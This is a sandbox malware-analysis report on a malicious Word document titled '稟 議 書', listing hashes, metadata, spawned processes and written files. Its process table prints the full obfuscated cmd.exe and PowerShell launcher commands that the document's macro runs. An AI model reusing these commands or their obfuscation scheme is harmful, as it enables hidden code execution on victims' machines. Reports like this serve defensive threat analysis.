File name: | (9)DOC20181114971.doc |
Full analysis: | https://app.any.run/tasks/be375fd7-dc24-4f6b-a7c5-f96f5ed89fd5 |
Verdict: | Malicious activity |
Analysis date: | November 14, 2018, 08:21:15 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.0, Code page: -535, Title: , Template: Normal.dotm, Revision Number: 7, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:31:00, Last Printed: Fri Nov 13 15:39:00 2015, Create Time/Date: Wed Jan 25 15:35:00 2017, Last Saved Time/Date: Wed Nov 14 07:51:00 2018, Number of Pages: 1, Number of Words: 80, Number of Characters: 459, Security: 0 |
MD5: | BDD9FE7DAE3FC4B751F17F13EC9D41B7 |
SHA1: | 07B3785D52E55F55C5613800362F959276B95C57 |
SHA256: | 8ED61ABC371DA7CF5ED2D8B9B7FDF20B8CA1B924C19FC9E8D50CA1FEACCB6AE9 |
SSDEEP: | 1536:a2Svw6xp+hXOl8kqocvvDA3TyHhyRVG4lsIKH:al4K+htnBmVdlw |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | 稟 議 書 |
---|---|
Subject: | - |
Keywords: | - |
Template: | Normal.dotm |
RevisionNumber: | 7 |
Software: | Microsoft Office Word |
TotalEditTime: | 1.5 hours |
LastPrinted: | 2015:11:13 15:39:00 |
CreateDate: | 2017:01:25 15:35:00 |
ModifyDate: | 2018:11:14 07:51:00 |
Pages: | 1 |
Words: | 80 |
Characters: | 459 |
Security: | None |
CodePage: | Unicode (UTF-8) |
Lines: | 3 |
Paragraphs: | 1 |
CharCountWithSpaces: | 538 |
AppVersion: | 14 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: |
|
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2788 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\(9)DOC20181114971.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3160 | Cmd.exe /V:ON/C"set begw=r$Oq\a+N,=^^oWR^&;1TSXs{u""[fQ:K4.7e)-6'pV5zMkCDIxL(yGn8A]UJhmt2B0blP9YwEjgcH3iv}Fd &&for %4 in (38,2,12,70,0,18,74,70,48,48,81,81,35,7,2,38,81,35,12,81,16,81,81,81,24,81,14,81,49,81,1,66,18,58,11,59,33,25,30,55,6,1,38,18,58,2,59,33,25,75,63,55,6,37,19,37,34,81,49,81,49,35,57,2,76,52,25,13,70,72,70,19,55,28,28,59,5,17,73,74,70,20,49,4,24,81,34,81,34,67,75,55,13,5,74,73,25,8,37,79,66,0,37,81,33,44,5,48,66,33,0,73,35,36,67,55,13,5,74,73,25,8,37,62,73,38,37,81,81,33,44,5,48,66,33,0,73,35,81,81,36,75,55,13,5,74,73,25,8,37,29,52,44,37,81,33,44,5,48,66,33,0,73,35,81,81,30,75,55,13,5,74,73,25,8,37,71,22,50,37,81,81,33,44,5,48,66,33,0,73,35,34,37,34,78,80,21,29,52,44,49,34,79,66,0,33,76,79,66,0,8,79,66,0,47,79,66,0,26,35,81,71,22,50,78,63,21,78,16,21,71,22,50,49,31,15,34,78,71,22,50,60,19,62,73,38,70,17,71,22,50,31,78,62,62,73,38,60,21,29,52,44,9,78,80,21,29,52,44,37,6,37,15,71,22,50,60,47,33,62,73,38,17,71,22,50,31,78,37,6,37,62,62,73,38,60,21,29,52,44,15,34,49,33,43,11,77,52,46,31,34,79,66,0,33,60,20,5,79,66,0,8,79,66,0,66,79,66,0,26,35,37,6,37,71,22,50,78,16,21,78,63,21,71,22,50,49,31,78,64,17,21,37,6,37,29,52,44,15,78,70,22,13,62,73,38,17,21,29,52,44,81,37,6,37,9,81,71,22,50,33,7,46,62,73,38,65,62,73,38,76,60,48,22,42,71,22,50,31,78,62,62,73,38,60,21,29,52,44,15,34,79,66,0,33,60,20,50,79,66,0,8,79,66,0,18,37,6,37,79,66,0,8,79,66,0,20,59,0,11,79,79,66,0,8,79,66,0,31,20,69,11,80,52,76,12,31,59,79,66,0,8,79,66,0,47,11,62,79,66,0,8,79,66,37,6,37,0,60,47,33,17,31,79,66,0,26,37,6,37,35,81,71,22,50,78,16,21,78,63,21,78,75,21,78,61,21,78,40,21,78,30,21,71,22,50,49,81,34,79,66,0,60,73,79,66,0,8,79,66,0,7,79,66,0,8,79,66,0,33,71,64,2,35,69,33,79,66,0,26,35,81,71,22,50,78,61,21,78,63,21,78,16,21,71,22,50,49,10,14,81,9,81,78,62,62,73,38,60,21,29,52,44,21,81,33,20,65,33,81,78,34,71,22,50,60,47,62,73,38,33,17,62,73,38,33,80,2,73,46,7,37,6,37,22,71,22,50,28,28,3,54,0,58,46,41,29,52,44,81,49,37,6,37,71,22,50,60,47,33,62,73,38,17,60,70,72,71,22,50,28,28,70,22,48,54,39,31,34,81,81,34,79,66,0,67,79,66,0,37,6,37,6,79,66,0,17,30,61,57,79,66,0,49,81,81,34,79,37,6,37,66,0,54,39,79,66,0,8,79,66,0,70,48,62,5,46,0,79,66,0,81,26,35,71,22,50,78,63,21,78,16,21,71,22,50,49,31,81,81,49,81,81,9,78,45,21,29,52,44,21,81,34,79,66,0,54,17,18,79,66,0,81,3,33,35,81,34,49,33,43,11,77,52,46,31,34,79,66,0,18,37,6,37,11,17,79,66,0,8,79,66,0,0,60,79,66,0,8,79,66,0,72,52,76,79,66,0,26,35,71,22,50,78,63,21,78,16,21,78,61,21,71,22,50,49,31,71,22,50,33,60,54,62,73,38,17,62,73,38,18,60,52,70,59,17,13,54,62,73,38,66,54,71,22,50,31,71,22,50,80,54,62,73,38,70,0,58,17,60,7,62,73,38,70,62,73,38,0,13,22,73,71,22,50,28,37,6,37,28,70,56,65,5,39,31,34,81,34,79,66,0,56,79,66,0,6,79,66,0,19,18,79,66,0,6,79,66,0,28,33,37,6,37,65,79,66,0,37,6,37,6,79,66,0,64,5,46,0,5,39,79,66,0,49,81,34,79,66,0,33,51,79,66,0,37,6,37,8,79,66,0,35,17,79,66,0,8,79,66,0,42,70,60,76,79,66,0,81,26,35,71,22,50,78,63,21,37,6,37,78,16,21,78,61,21,71,22,50,49,31,81,49,81,81,49,81,26,76,49,29,52,44,15,34,79,66,0,12,31,79,66,0,8,79,66,0,20,59,0,11,79,31,37,6,37,20,69,11,80,52,76,79,66,0,8,79,66,0,33,79,66,0,8,79,66,0,60,20,50,18,37,6,37,79,66,0,8,79,37,6,37,66,0,59,79,66,0,26,35,81,71,22,50,78,75,21,78,30,21,78,63,21,78,61,21,78,16,21,71,22,50,49,81,33,59,5,7,50,65,64,59,33,20,20,54,35,81,34,79,66,0,80,54,79,66,0,8,79,66,0,17,35,80,37,6,37,79,66,0,8,79,66,0,37,6,37,33,38,50,79,66,0,26,35,71,22,50,78,63,21,78,16,21,78,61,21,71,22,50,49,10,14,15,78,34,79,66,0,5,11,64,38,76,65,79,66,0,8,79,66,0,44,35,60,33,51,79,66,37,6,37,0,8,79,66,0,80,0,79,66,0,81,26,35,81,71,22,50,78,63,21,78,61,21,78,37,6,37,16,21,71,22,50,49,31,9,78,80,21,29,52,44,21,81,34,63,81,5,33,35,81,34,37,6,37,79,66,0,76,65,44,35,60,79,66,0,8,79,66,0,11,37,6,37,64,38,79,66,0,8,79,66,0,80,0,5,79,66,0,37,6,37,8,79,66,0,33,51,79,66,0,26,35,81,37,6,37,71,22,50,78,16,21,78,37,6,37,61,21,78,75,21,78,63,21,71,22,50,49,81,34,79,66,0,59,79,66,0,8,79,66,0,73,72,79,66,0,81,26,35,81,71,22,50,78,16,21,78,63,21,71,22,50,49,10,14,49,81,26,76,15,37,6,37,81,34,79,66,0,60,47,33,79,66,0,8,79,66,0,60,5,79,66,0,8,79,66,0,54,17,5,79,66,0,8,79,66,0,42,37,6,37,13,2,79,37,6,37,79,66,0,8,79,66,0,17,31,18,59,0,11,26,31,18,12,11,45,7,76,69,31,59,33,79,66,0,37,6,37,8,79,66,0,80,79,66,0,8,79,66,0,17,20,68,20,79,66,0,26,35,71,22,50,78,40,21,78,75,21,78,30,21,78,16,21,78,37,6,37,36,21,78,61,21,78,63,21,71,22,50,49,55,33,66,68,17,25,81,81,9,81,27,54,13,74,46,41,29,52,44,81,81,37,6,37,15,81,34,79,66,0,65,44,31,18,79,66,0,8,79,66,0,59,13,11,79,66,0,8,79,66,0,45,79,66,0,8,79,66,0,26,79,66,0,8,79,66,0,0,5,11,79,66,0,8,79,66,0,69,31,42,70,17,18,79,66,0,8,79,66,0,64,66,46,79,66,0,8,79,66,0,20,79,66,0,8,79,66,0,68,79,66,0,8,79,66,0,31,20,12,11,45,52,46,79,66,0,79,35,71,22,50,78,32,21,78,40,21,78,75,21,78,67,21,78,53,37,6,37,21,78,36,21,78,37,6,37,63,21,78,30,21,78,16,21,78,61,21,71,22,50,49,55,33,66,68,17,25,81,9,67,17,30,61,37,6,37,71,29,52,44,81,81,15,34,79,66,0,60,79,66,0,37,6,37,8,79,66,0,54,33,0,74,17,79,66,0,8,79,66,0,31,51,7,76,45,79,66,0,8,79,66,0,80,54,79,66,0,8,79,37,6,37,66,0,70,0,58,79,66,0,26,35,71,22,37,6,37,50,78,16,21,78,63,21,78,30,21,78,61,21,78,75,21,71,22,50,49,37,6,37,55,33,38,50,60,25,81,81,9,81,22,19,20,29,52,44,37,6,37,81,37,49,49,81,49,81,34,37,47,37,6,55,30,75,25,33,59,2,74,18,38,1,6,55,16,61,25,33,59,11,58,20,66,1,81,49,10,14,81,4,24,8,37,31,37,81,8,37,0,76,72,74,17,37,6,37,60,2,37,6,37,65,33,79,17,37,81,34,34,81,34,81,24,83)do set tGCX=!tGCX!!begw:~%4,1!&&if %4 geq 83 cmd.exe /C!tGCX:~-1865!" | C:\Windows\system32\Cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3996 | cmd.exe /CpOWErSHELL -NOp -W 1 " & ( $PShome[4]+$pShOme[30]+'X') ( (-JOin[REgEX]::maTcHEs(\" ) )93]RaHc[,'FPr' eCaLPerc-69]RaHc[,'Bcp' eCaLPerc- 63]RaHc[,'KnC' eCaLPerc- 43]RaHc[,'juy' eCaLPerc-)')}d{KnC()FPreiFPr,FPrxFPrf- juy}0{}1{juy(.;)}juytXBcpETjuy.}BBcpt{KnC=}d{KnC'+';juytxeBcpTjuy.}'+'BBcpt{KnC;)(ekovnI.)FPretsaFPr,FPrPFPrf-'+'juy}1{}0{juy(.}bT{'+'KnC;}EuRBcpT{KnC '+'= juyeNIBcplBcpitLuMjuy.}BBcpt{KnC;)FPretsyFPr,FPrS'+'FPr,FPrsmroFFPr,FPr.swodniW.mFPr,FPrxoBFPr,FP'+'rtxeT.FPrf'+'- juy}1{}0{}3{}2{}5{}4{juy( )FPrtcFPr,FPrNFPr,FPrejbO-weFPrf- juy}2{}0{}1{juy(^& = }BBcpt{KnC{ esle })juytxBcpeTBcpedOcIN'+'ujuy::qArhIzKnC ('+'juytxeBcpTtEgjuy::EuLAV.) )FPr9FPr'+'+FPrT42JFPr( )F'+'PrAVFPr,FPrELBaIrFPr f-juy}0{}1{juy(. ( =}D{KnC{ )FPrATSFPr qe- )(ekovnI.)FPrS'+'oTFPr,FPrrtFPr,FPrgniFPrf-juy}0{}1{}2{juy(.juyetABcpTBcpStnEmTRABcpPAjuy.juydABcpErhTtNBcpEBcprRucjuy:'+':EUlaV.) )FPrUFPr+FPrXSFPr+FPr:e'+'lFPr'+'+FPrbaIraVFPr( )FPreGFPr'+',FPr-TFPr,FPrMEtiFPr f-juy}0{'+'}1{}2{juy(. ( ( fi(KnC;)FPrW.FPr,FPrsmroF.'+'swodniFPr,FPreFPr,FPrtsyS'+'FPr,F'+'PrmFPrf- juy}3{}4{}0{}2{}1{juy( emaNylbmessA- )FPrdAFPr,FPrT-d'+'FPr,FPr'+'epyFPrf-juy}0{}1{}2{juy(^&;})FPraobpilFPr,FPrC-teGFP'+'r,FPrdrFPr f- juy}0{}2{}'+'1{juy(.=}d{KnC{ )0 ae- )'+'FPrilC-tFPr,FPro'+'bpFPr,FPrdraFPr'+',FPreGFPrf- '+'juy}1{}'+'2{}3{}0{juy( )FPrmFPr,FPrcgFPr f- juy}1{}0{juy(^&( fi;'+' )FPrtxeFPr,FPrtaFPr,FPrATaFPr,FPrM'+'ROF'+'FPr,FPrT.Smrof.SWoDNiw.meFPr'+',FPrdFPr,FPrTsYsFPrf-juy}5{}3{}4{}1{}'+'6{}2{}0{juy(]ePYT[ = QARHIzKnC '+'; )FPrlC.SFPr,FPrmRoFPr,FPrDFPr,FPrfFPr,FPrraoFPr,FPrw.METSFPr,FPrbPIFPr,FPrsFPr,FPrYFPr,FPr.sWoDnIFPrF-juy}7{}5{}3{}9{}8'+'{}6{}'+'0{}4{}1{}2{juy(]ePYT[ =9T42'+'jKnC ;)FPrtFPr'+',FPrAerHTFPr,FPr.GNiDFPr,FPrdAFPr,F'+'PrErhFPrf-ju'+'y}1{}0{}4{}2{}3{juy('+']epyt[ = uXsKnC'+' '(( ( )'x'+]43[emOHSp$+]12[emohsP$ (^& \",'.' ,'rigHT'+'tO'+'leFT' )) ) " | C:\Windows\system32\cmd.exe | — | Cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3616 | pOWErSHELL -NOp -W 1 " & ( $PShome[4]+$pShOme[30]+'X') ( (-JOin[REgEX]::maTcHEs(\" ) )93]RaHc[,'FPr' eCaLPerc-69]RaHc[,'Bcp' eCaLPerc- 63]RaHc[,'KnC' eCaLPerc- 43]RaHc[,'juy' eCaLPerc-)')}d{KnC()FPreiFPr,FPrxFPrf- juy}0{}1{juy(.;)}juytXBcpETjuy.}BBcpt{KnC=}d{KnC'+';juytxeBcpTjuy.}'+'BBcpt{KnC;)(ekovnI.)FPretsaFPr,FPrPFPrf-'+'juy}1{}0{juy(.}bT{'+'KnC;}EuRBcpT{KnC '+'= juyeNIBcplBcpitLuMjuy.}BBcpt{KnC;)FPretsyFPr,FPrS'+'FPr,FPrsmroFFPr,FPr.swodniW.mFPr,FPrxoBFPr,FP'+'rtxeT.FPrf'+'- juy}1{}0{}3{}2{}5{}4{juy( )FPrtcFPr,FPrNFPr,FPrejbO-weFPrf- juy}2{}0{}1{juy(& = }BBcpt{KnC{ esle })juytxBcpeTBcpedOcIN'+'ujuy::qArhIzKnC ('+'juytxeBcpTtEgjuy::EuLAV.) )FPr9FPr'+'+FPrT42JFPr( )F'+'PrAVFPr,FPrELBaIrFPr f-juy}0{}1{juy(. ( =}D{KnC{ )FPrATSFPr qe- )(ekovnI.)FPrS'+'oTFPr,FPrrtFPr,FPrgniFPrf-juy}0{}1{}2{juy(.juyetABcpTBcpStnEmTRABcpPAjuy.juydABcpErhTtNBcpEBcprRucjuy:'+':EUlaV.) )FPrUFPr+FPrXSFPr+FPr:e'+'lFPr'+'+FPrbaIraVFPr( )FPreGFPr'+',FPr-TFPr,FPrMEtiFPr f-juy}0{'+'}1{}2{juy(. ( ( fi(KnC;)FPrW.FPr,FPrsmroF.'+'swodniFPr,FPreFPr,FPrtsyS'+'FPr,F'+'PrmFPrf- juy}3{}4{}0{}2{}1{juy( emaNylbmessA- )FPrdAFPr,FPrT-d'+'FPr,FPr'+'epyFPrf-juy}0{}1{}2{juy(&;})FPraobpilFPr,FPrC-teGFP'+'r,FPrdrFPr f- juy}0{}2{}'+'1{juy(.=}d{KnC{ )0 ae- )'+'FPrilC-tFPr,FPro'+'bpFPr,FPrdraFPr'+',FPreGFPrf- '+'juy}1{}'+'2{}3{}0{juy( )FPrmFPr,FPrcgFPr f- juy}1{}0{juy(&( fi;'+' )FPrtxeFPr,FPrtaFPr,FPrATaFPr,FPrM'+'ROF'+'FPr,FPrT.Smrof.SWoDNiw.meFPr'+',FPrdFPr,FPrTsYsFPrf-juy}5{}3{}4{}1{}'+'6{}2{}0{juy(]ePYT[ = QARHIzKnC '+'; )FPrlC.SFPr,FPrmRoFPr,FPrDFPr,FPrfFPr,FPrraoFPr,FPrw.METSFPr,FPrbPIFPr,FPrsFPr,FPrYFPr,FPr.sWoDnIFPrF-juy}7{}5{}3{}9{}8'+'{}6{}'+'0{}4{}1{}2{juy(]ePYT[ =9T42'+'jKnC ;)FPrtFPr'+',FPrAerHTFPr,FPr.GNiDFPr,FPrdAFPr,F'+'PrErhFPrf-ju'+'y}1{}0{}4{}2{}3{juy('+']epyt[ = uXsKnC'+' '(( ( )'x'+]43[emOHSp$+]12[emohsP$ (& \",'.' ,'rigHT'+'tO'+'leFT' )) ) " | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2788 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR948B.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7WG9S9XR675XWIS72THA.temp | — | |
MD5:— | SHA256:— | |||
3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF5daa16.TMP | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 | |||
2788 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$)DOC20181114971.doc | pgc | |
MD5:0CBC06B9A9F89407A28F991EA240BAE9 | SHA256:2DB96F4DB07778BBA757BADF16E76BFA70C1B83829A0C68112DA903DB873D9D8 | |||
2788 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:85283E8C73AC10A255BBE4286BF1BDB3 | SHA256:0020F0707504300A48B9B083CDF48B2783CA33CFEDF40EFB79F861241E0A6BF5 | |||
3616 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:3C6A7AAE234382390B6B52F47ECA1BAA | SHA256:C8D6BF40DC644B318B2D69E1A1CD3EC9CCFDED8ADE326D33CFAA2C4E3187FCD2 |